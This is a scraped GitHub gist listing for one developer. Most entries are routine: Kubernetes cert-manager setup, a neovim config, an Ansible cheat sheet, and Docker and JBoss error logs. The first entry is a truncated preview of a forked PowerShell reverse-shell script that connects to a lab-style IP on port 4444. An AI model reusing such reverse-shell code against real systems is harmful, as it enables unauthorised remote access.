Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Michael Johann malagant

🏠
Working from home
View GitHub Profile
@malagant
malagant / mini-reverse.ps1
Created Jan 13, 2021 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
View mini-reverse.ps1
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.43', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
View gist:a1fc2906b60f19b3d7934625d77e898a
microk8s enable helm3 ingress
microk8s kubectl create namespace cert-manager
microk8s helm3 repo add jetstack https://charts.jetstack.io
microk8s helm3 repo update
microk8s helm3 install cert-manager jetstack/cert-manager \
--namespace cert-manager \
--set installCRDs=true \
--set ingressShim.defaultIssuerName=letsencrypt-production \
--set ingressShim.defaultIssuerKind=ClusterIssuer \
View init.vim
" Specify a directory for plugins
call plug#begin('~/.vim/plugged')
Plug 'neoclide/coc.nvim', {'branch': 'release'}
Plug 'scrooloose/nerdtree'
"Plug 'tsony-tsonev/nerdtree-git-plugin'
Plug 'Xuyuanp/nerdtree-git-plugin'
Plug 'tiagofumo/vim-nerdtree-syntax-highlight'
Plug 'ryanoasis/vim-devicons'
Plug 'airblade/vim-gitgutter'
@malagant
malagant / ansible-summary.md
Created Nov 12, 2018 — forked from andreicristianpetcu/ansible-summary.md
This is an ANSIBLE Cheat Sheet from Jon Warbrick
View ansible-summary.md

An Ansible summary

Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)

Configuration file

intro_configuration.html

First one found from of

@malagant
malagant / cloudSettings
Last active Jun 5, 2019
Visual Studio Code Settings Sync Gist
View cloudSettings
{"lastUpload":"2019-06-05T20:23:46.639Z","extensionVersion":"v3.2.9"}
@malagant
malagant / fig build problem
Created Oct 19, 2014
Docker 1.3.0 and Fig 1.0.0
View fig build problem
[root@www detox_staging]# fig build
Building serf...
---> 9cbaf023786c
Step 1 : MAINTAINER Michael Johann <mjohann@rails-experts.com>
---> Using cache
---> 323c602974b9
Step 2 : RUN apt-get update -q
---> Using cache
---> 40136f00ddc5
Step 3 : RUN apt-get install -qy build-essential git supervisor unzip
@malagant
malagant / gist:6087393
Last active Dec 20, 2015
Error starting Torquebox 3 beta1
View gist:6087393
=========================================================================
JBoss Bootstrap Environment
JBOSS_HOME: /opt/torquebox/default/jboss
JAVA: /System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home/bin/java
JAVA_OPTS: -d32 -client -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
View gist:5111485
21:10:38,778 INFO [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "esepa.web-knob.yml" was rolled back with failure message {"JBAS014771: Services with missing/unavailable dependencies" => ["jboss.web.deployment.\"esepa-web.myeconovum.de\"./ Missing[JBAS014861: <one or more transitive dependencies>]","jboss.deployment.unit.\"esepa.web-knob.yml\".jboss.security.jacc Missing[JBAS014861: <one or more transitive dependencies>]","jboss.deployment.unit.\"esepa.web-knob.yml\".torquebox.core.runtime.pool.stomplets Missing[JBAS014861: <one or more transitive dependencies>]","jboss.deployment.unit.\"esepa.web-knob.yml\".rack.application Missing[jboss.deployment.unit.\"esepa.web-knob.yml\".stomp.container.endpoint-binding]","jboss.deployment.unit.\"esepa.web-knob.yml\".torquebox.core.runtime.pool.web Missing[JBAS014861: <one or more transitive dependencies>]","jboss.deployment.unit.\"esepa.web-knob.yml\".stomp.container.\"tan.stomplet\" Missing[jboss.deployment.unit.\"esepa.web-kn
View gist:5094962
[root@CentOS-63-64-minimal log]# cat server.log
23:32:34,001 INFO [org.jboss.as.configadmin] (ServerService Thread Pool -- 44) JBAS016200: Activating ConfigAdmin Subsystem
23:32:34,002 INFO [org.jboss.as.clustering.infinispan] (ServerService Thread Pool -- 49) JBAS010280: Activating Infinispan subsystem.
23:32:34,004 INFO [org.jboss.as.jacorb] (ServerService Thread Pool -- 50) JBAS016300: Activating JacORB Subsystem
23:32:34,009 INFO [org.jboss.as.clustering.jgroups] (ServerService Thread Pool -- 55) JBAS010260: Activating JGroups subsystem.
23:32:34,018 INFO [org.jboss.as.osgi] (ServerService Thread Pool -- 63) JBAS011906: Activating OSGi Subsystem
23:32:34,022 INFO [org.jboss.as.naming] (ServerService Thread Pool -- 62) JBAS011800: Activating Naming Subsystem
23:32:34,025 INFO [org.jboss.as.security] (ServerService Thread Pool -- 68) JBAS013171: Activating Security Subsystem
23:32:34,044 INFO [org.jboss.as.webservices] (ServerService Thread Pool -- 72) JBAS015537: Activating WebServices Extension
2